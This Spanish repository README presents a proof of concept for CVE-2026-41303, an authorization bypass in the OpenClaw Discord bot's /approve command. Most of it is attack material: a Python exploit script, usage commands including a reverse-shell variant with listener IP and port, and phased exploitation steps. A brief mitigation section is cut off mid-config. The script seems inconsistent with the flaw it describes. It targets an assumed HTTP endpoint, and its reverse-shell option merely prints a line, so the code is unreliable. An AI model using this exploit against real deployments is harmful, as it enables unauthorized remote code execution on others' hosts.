
Documentación técnica y prueba de concepto para CVE-2026-41303, un bypass de autorización en el bot de Discord OpenClaw, que incluye metodología de explotación, pasos de mitigación y recomendaciones defensivas.
Documentación técnica completa sobre la vulnerabilidad de omisión de autorización en OpenClaw
Este repositorio contiene información técnica, análisis y recomendaciones sobre la vulnerabilidad CVE-2026-41303, la cual permite la omisión de autorización en los comandos de aprobación de ejecución en el proyecto OpenClaw.
Se identificó una falla crítica en las versiones de OpenClaw anteriores a la 2026.3.28. El problema reside en los comandos de aprobación de texto de Discord, donde usuarios que no pertenecen a la lista de aprobadores autorizados (channels.discord.execApprovals.approvers) pueden aprobar solicitudes de ejecución de host pendientes.
| Parámetro | Valor |
|---|---|
| ID CVE | CVE-2026-41303 |
| Producto Afectado | OpenClaw |
| Tipo de Vulnerabilidad | Authorization Bypass (CWE-863) |
| Vector de Ataque | Comandos de texto en Discord |
| Plataforma | Linux / Discord |
| Puntaje CVSS | 8.8 (Alta) |
| Versiones Afectadas | < 2026.3.28 |
| Estado | Corregida en v2026.3.28+ |
La vulnerabilidad reside en la falta de validación de autorización en el manejador de comandos /approve del bot OpenClaw. El sistema no verifica correctamente si el usuario que ejecuta el comando pertenece a la lista de aprobadores autorizados antes de procesar la solicitud.
Un atacante con acceso al canal de Discord donde se gestionan las aprobaciones puede:
Usuario No Autorizado
↓
Acceso al Canal Discord
↓
Identifica ID de Aprobación Pendiente
↓
Ejecuta comando /approve
↓
Bot Aprueba sin Validar Permisos
↓
Ejecución de Código Remoto (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# Configuración de argumentos profesionales para la auditoría
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - Bypass de aprobación en OpenClaw",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Ejemplos de uso:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="URL de la instancia o contexto del bot")
parser.add_argument("--token", required=True, help="Token de Discord del atacante/auditor")
parser.add_argument("--channel-id", required=True, help="ID del canal de Discord")
parser.add_argument("--approval-id", required=True, help="ID de la aprobación a omitir")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="Tipo de decisión de aprobación (default: allow-once)")
# Parámetros adicionales para post-explotación
parser.add_argument("--lhost", help="IP para reverse shell si la aprobación activa un RCE")
parser.add_argument("--lport", help="Puerto de escucha")
parser.add_argument("--verbose", "-v", action="store_true", help="Modo verbose")
args = parser.parse_args()
# Lógica de explotación
print(f"[*] Iniciando bypass para la aprobación: {args.approval_id}")
print(f"[*] Canal objetivo: {args.channel_id}")
print(f"[*] Decisión: {args.decision}")
if args.verbose:
print(f"[DEBUG] Token: {args.token[:20]}...")
print(f"[DEBUG] Target: {args.target}")
# Construcción de la solicitud malformada
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# Envío del comando /approve sin validación de permisos
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] ¡Bypass exitoso! Aprobación ejecutada.")
print(f"[+] Respuesta: {response.json()}")
if args.lhost and args.lport:
print(f"[*] Reverse shell configurado en {args.lhost}:{args.lport}")
else:
print(f"[-] Error: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] Excepción: {str(e)}")
if __name__ == "__main__":
main()
# Uso básico
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# Modo verbose
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# Con reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. Obtener acceso al canal de Discord donde interactúa OpenClaw
2. Monitorear mensajes del bot para identificar IDs de aprobación pendientes
3. Capturar el formato exacto de las solicitudes de aprobación
4. Documentar la estructura de los comandos /approve
1. Ejecutar el script PoC con los IDs capturados
2. Enviar la decisión (allow-once o allow-always) junto con los parámetros
3. El bot procesa el comando sin validar permisos del usuario
4. Aprobación se ejecuta exitosamente
Si la aprobación de texto en Discord activa funciones automáticas en el servidor:
↓
Despliegues de código
↓
Ejecución de Código Remota (RCE)
↓
Compromiso total del sistema
1. Actualizar OpenClaw
# Actualizar a versión 2026.3.28 o superior
pip install --upgrade openclaw>=2026.3.28
# O desde el repositorio oficial
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. Revisar Configuración
# Verificar channels.discord.execApprovals.approvers
# Archivo: config.yaml